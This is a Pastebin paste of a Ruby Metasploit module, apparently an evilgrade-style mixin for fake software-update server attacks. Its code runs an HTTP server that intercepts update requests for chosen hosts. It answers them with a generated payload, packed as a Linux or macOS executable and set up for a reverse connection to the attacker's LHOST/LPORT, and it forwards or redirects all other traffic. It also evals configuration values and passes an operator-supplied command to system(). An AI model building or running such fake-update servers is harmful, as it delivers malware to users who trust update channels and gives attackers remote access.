Advertisement
infodox

/metasploit-framework/lib/msf/core/auxiliary/update.rb

Apr 20th, 2012
163
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 7.96 KB | None | 0 0
  1. module Msf
  2.  
  3.     ###
  4.     #
  5.     # This module provides methods for fake Update Server attacks
  6.     #
  7.     ###
  8.  
  9.     module Auxiliary::Update
  10.  
  11.         attr_reader :base, :agent
  12.         require 'resolv'
  13.         require 'digest/md5'
  14.         include Msf::Auxiliary::Report
  15.         require 'msf/core/exploit'
  16.         include Msf::Exploit::Remote::TcpServer
  17.         #include Msf::Exploit::Remote::HttpServer::HTML
  18.  
  19.         def initialize(info = {})
  20.             super(
  21.                 'Actions'     => [ [ 'Update' ] ],
  22.                 'PassiveActions' => [ 'Update' ],
  23.                 'DefaultAction'  => 'Update'
  24.             )
  25.             register_options(
  26.                 [
  27.                     OptPort.new('SRVPORT',      [ false, "The local port to listen on.", 80 ]),
  28.                     OptString.new('UPAYLOAD',    [ true, "The fake update.", '' ]),
  29.                     OptAddress.new('LHOST',    [ false, "Reverse connection host.", '' ]),
  30.                     OptPort.new('LPORT',    [ false, "Reverse connection port.", '' ]),
  31.                     OptAddress.new('CAPTURE_HOST',[ false, "The IP address of the http capture service ", '' ]),
  32.                     OptPort.new('CAPTURE_PORT',     [ false, "Not matched requests will be forwarded to, if defined the http capture module running at this port, else a redirect to the real ip adress)", '' ])
  33.             ], Auxiliary::Update)
  34.             create_agent()
  35.         end
  36.  
  37.         def on_client_connect(c)
  38.             c.extend(Rex::Proto::Http::ServerClient)
  39.             c.init_cli(self)
  40.         end
  41.  
  42.         def on_client_data(cli)
  43.             begin
  44.                 data = cli.get_once(-1, 5)
  45.                 raise ::Errno::ECONNABORTED if not (data or data.length == 0)
  46.                 case cli.request.parse(data)
  47.  
  48.                 when Rex::Proto::Http::Packet::ParseCode::Completed
  49.                     dispatch_request(cli, cli.request)
  50.                     cli.reset_cli
  51.                 when  Rex::Proto::Http::Packet::ParseCode::Error
  52.                     close_client(cli)
  53.                 end
  54.             rescue ::EOFError, ::Errno::EACCES, ::Errno::ECONNABORTED, ::Errno::ECONNRESET
  55.             rescue ::OpenSSL::SSL::SSLError
  56.             rescue ::Exception
  57.                 print_status("Error: #{$!.class} #{$!} #{$!.backtrace}")
  58.             end
  59.  
  60.             close_client(cli)
  61.         end
  62.  
  63.         def close_client(cli)
  64.             cli.close
  65.         end
  66.  
  67.         def run
  68.             super if not framework.datastore['update_server']
  69.         end
  70.  
  71.         def dispatch_request(cli,req)
  72.             res = empty
  73.             print_status("Request #{req['Host']}")
  74.             @base['vh'].each{ |vh|
  75.                 if req['Host'] =~ /#{vh}/
  76.                     @base['request'].each{ |request|
  77.                         if req.uri.to_s =~ /#{request['req']}/
  78.                             data = case request['type']
  79.                                    when "file";     on_client_request_file(cli, req, request)
  80.                                    when "string";   on_client_request_string(cli, req, request)
  81.                                    when "agent";    on_client_request_agent(cli, req, request)
  82.                                    when "redirect"; res = redirect(cli, req, request['to'])
  83.                                    else        
  84.                                         'unkown'
  85.                                    end
  86.                             res ||= create_response(request['type'],data,req['Host'],request['header'] )
  87.                             break
  88.                         end
  89.                     }  
  90.                 end
  91.             } if not @base.empty?
  92.             res ||= redirect(cli, req)         
  93.             cli.put(res)
  94.             return 
  95.         end
  96.  
  97.         def on_client_request_string(cli,req,conf)
  98.             data = conf['string']
  99.             @base['options'].each{ |name, config|
  100.                 val = eval(config['val']) if config['dynamic'].eql?(1)
  101.                 val ||= config['val']
  102.                 data.gsub!(/\<\%#{name.upcase}\%\>/, val.to_s)
  103.             } if conf['parse'].eql?(1) 
  104.             return data
  105.         end
  106.  
  107.         def on_client_request_file(cli,req,conf)
  108.             fname = File.join(Msf::Config.install_root, "data", "exploits", "update", "http", conf['file'] )
  109.             data = File.read(fname)
  110.             @base['options'].each{ |name, config|
  111.                 val = eval(config['val']) if config['dynamic'].eql?(1)
  112.                 val ||= config['val']
  113.                 data.gsub!(/\<\%#{name.upcase}\%\>/, val.to_s)
  114.             } if conf['parse'].eql?(1) 
  115.             return data
  116.         end
  117.  
  118.         def on_client_request_agent(cli,req,conf)
  119.             print_status "serving fake update to client"
  120.             return @agent
  121.         end
  122.  
  123.  
  124.         def redirect(cli, req, to=false)
  125.             if datastore['CAPTURE_PORT'].empty?
  126.                 begin
  127.                     ip = Resolv.getaddress(req['Host']).to_s
  128.                     to ||= "http://#{ip}#{req.uri}"
  129.                 rescue
  130.                     print_status("could not resolve dns")
  131.                 end
  132.                 if req.uri =~ /\.html/ or not req.uri =~ /\./
  133.                     data = "<html><head></head><frameset rows='100%'>" +
  134.                                 "<frame src='#{to}'></frameset>" +
  135.                                 "</html>"
  136.                     res = create_response('string',data, req['Host'] )
  137.                 else
  138.                     res = "HTTP/1.1 307 Temporary Redirect\r\n" +
  139.                         "Location: #{to}\r\n" +
  140.                         "Content-Type: text/html\r\n" +
  141.                         "Content-Length: 0" +
  142.                         "Connection: Close\r\n\r\n"
  143.                 end
  144.             else
  145.                 ip = datastore['CAPTURE_HOST']
  146.                 port = datastore['CAPTURE_PORT']
  147.                 res = "HTTP/1.1 301 Moved Permanently\r\n" +
  148.                     "Location: http://#{ip}:#{port}/\r\n" +
  149.                     "Content-Type: text/html\r\n" +
  150.                     "Content-Length: 0" +
  151.                     "Connection: Close\r\n\r\n"
  152.             end
  153.             return res
  154.         end
  155.  
  156.         def create_response(type, data, host, header=false)
  157.             res = "HTTP/1.1 200 OK\r\n"
  158.             res << "Host: #{host}\r\n"
  159.             res << "Expires: 0\r\n"
  160.             res << "Cache-Control: must-revalidate\r\n"
  161.             if type.eql?("agent")
  162.                 res <<  "Content-Type: application/octet-stream\r\n" +
  163.                     "Content-Length: #{data.length}\r\n" +
  164.                     "Connection: Close\r\n\r\n#{data}"
  165.  
  166.             elsif not header.empty?
  167.                 res <<  "Content-Type: #{header}\r\n" +
  168.                     "Content-Length: #{data.length}\r\n" +
  169.                     "Connection: Close\r\n\r\n#{data}"
  170.             else
  171.                 res <<  "Content-Type: text/html\r\n" +
  172.                     "Content-Length: #{data.length}\r\n" +
  173.                     "Connection: Close\r\n\r\n#{data}"
  174.             end
  175.             return res
  176.         end
  177.  
  178.         def create_agent()
  179.             agent = datastore['UPAYLOAD']
  180.             # old evilgrade style, eval generation
  181.             if (agent =~ /^\[([\w\W]+)\]$/)
  182.                 cmd = eval($1)
  183.                 cmd =~ /\<\%OUT\%\>([\w\W]+)\<\%OUT\%\>/
  184.  
  185.                 out = $1
  186.                 cmd.gsub!( /\<\%OUT\%\>/ , '')
  187.  
  188.                 mret = system(cmd)
  189.                 agent=out
  190.             elsif (agent =~ /^\<([\w\W]+)\>$/)
  191.                 # use file on disk
  192.                 agent = File.read($1)
  193.             else
  194.                 # metasploit generation
  195.                 # Create the payload instance
  196.                 payload = framework.payloads.create(agent)
  197.                 payload.datastore.import_options_from_hash(datastore)
  198.  
  199.                 if (payload == empty)
  200.                     puts "Invalid payload: #{agent}"
  201.                     exit
  202.                 end
  203.  
  204.                 begin
  205.                     buf = payload.generate_simple(
  206.                 'Format'    => 'raw',
  207.                 'Options' => datastore)
  208.                 rescue
  209.                     puts "Error generating payload: #{$!}"
  210.                     exit
  211.                 end
  212.  
  213.  
  214.                 arch = payload.arch
  215.                 plat = payload.platform.platforms
  216.  
  217.                 encoders = []
  218.                 #framework.encoders.each_module_ranked(
  219.                 #   'Arch' => arch ? arch.split(',') : empty) { |name, mod|
  220.                 #   encoders << mod.new
  221.                 #}
  222.                
  223.                 badchars = ''
  224.                 encoders.each { |enc|
  225.                     next if not enc
  226.                     begin
  227.                         # Imports options
  228.                         enc.datastore.import_options_from_hash(datastore)
  229.  
  230.                         # Encode it up
  231.                         buf = enc.encode(buf, badchars)
  232.                     rescue
  233.                         print_status(OutError + "#{enc.refname} failed: #{$!}")
  234.                     end
  235.                 }
  236.  
  237.                 if (arch.index(ARCH_X86))
  238.                     if (plat.index(Msf::Module::Platform::Windows))
  239.                         #buf = Rex::Text.to_win32pe(buf)
  240.                         #buf = Msf::Util::EXE.to_win32pe(buf)
  241.                         buf = ""
  242.                     elsif (plat.index(Msf::Module::Platform::Linux))
  243.                         buf = Rex::Text.to_linux_x86_elf(buf)
  244.                     elsif(plat.index(Msf::Module::Platform::OSX))
  245.                         buf = Rex::Text.to_osx_x86_macho(buf)
  246.                     end                    
  247.                 end
  248.  
  249.                 if(plat.index(Msf::Module::Platform::OSX))
  250.                     if(arch.index(ARCH_ARMLE))
  251.                         buf = Rex::Text.to_osx_arm_macho(buf)
  252.                     elsif(arch.index(ARCH_PPC))
  253.                         buf = Rex::Text.to_osx_ppc_macho(buf)
  254.                     end
  255.                 end
  256.                 #   $stderr.puts "No executable format support for this arch/platform"
  257.  
  258.                 agent = buf
  259.                 #payload.datastore.import_options_from_s(ARGV.join('_|_'), '_|_')
  260.             end
  261.             if agent.empty?
  262.                 puts "could not create agent"
  263.                 exit
  264.             end
  265.             @agent = agent
  266.         end
  267.  
  268.         def RndNum(n)
  269.             data = ''
  270.             n.to_i.times{ data += rand(9).to_s }
  271.             return data
  272.         end
  273.  
  274.         def RndAlpha(n)
  275.             chars = ("a".."z").to_a + ("A".."Z").to_a + ("0".."9").to_a
  276.             data = ''
  277.  
  278.             n.to_i.times{ data += chars[rand(chars.size-1)].to_s    }
  279.             return data
  280.         end
  281.        
  282.         def MD5(data=@agent)
  283.             return Digest::MD5.hexdigest(data)
  284.         end
  285.  
  286.         def SIZE(data=@agent)
  287.             return data.length
  288.         end
  289.  
  290.     end
  291. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement